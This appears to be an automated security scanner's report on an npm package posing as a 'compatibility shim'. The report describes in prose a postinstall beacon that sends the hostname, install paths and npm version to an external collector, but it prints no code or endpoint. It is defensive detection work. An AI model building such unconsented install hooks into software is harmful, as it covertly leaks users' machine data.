@grabcad/company-server-shared@2.0.0
Compatibility shim.
AI Security Review
scanned 6h ago · by lpm-firewall-aiThe manifest activates a beacon during installation, and the beacon sends identifying machine and project-location metadata to a fixed external collector. This is automatic, unconsented disclosure and supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
Machine and project-location metadata is disclosed to the collector without an installer consent check.
Mechanism
beacon.cjs gathers the hostname, install path, working directory, and npm version, then sends them in a POST request.
Attack narrative
During postinstall, package.json runs beacon.cjs, which sends host and installation metadata to a fixed external endpoint. Importing index.js also invokes the beacon. The inspected source shows no consent gate on either path.
AI rationale
The manifest activates a beacon during installation, and the beacon sends identifying machine and project-location metadata to a fixed external collector. This is automatic, unconsented disclosure and supports blocking publication.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically during postinstall.
- beacon.cjs sends requests to a fixed external endpoint.
- The request uses POST and identifies the package in a request header.
- The payload includes the machine hostname, install path, working directory, and npm version.
- The payload is serialized and written to the request.
- Importing index.js calls the beacon without a consent check.
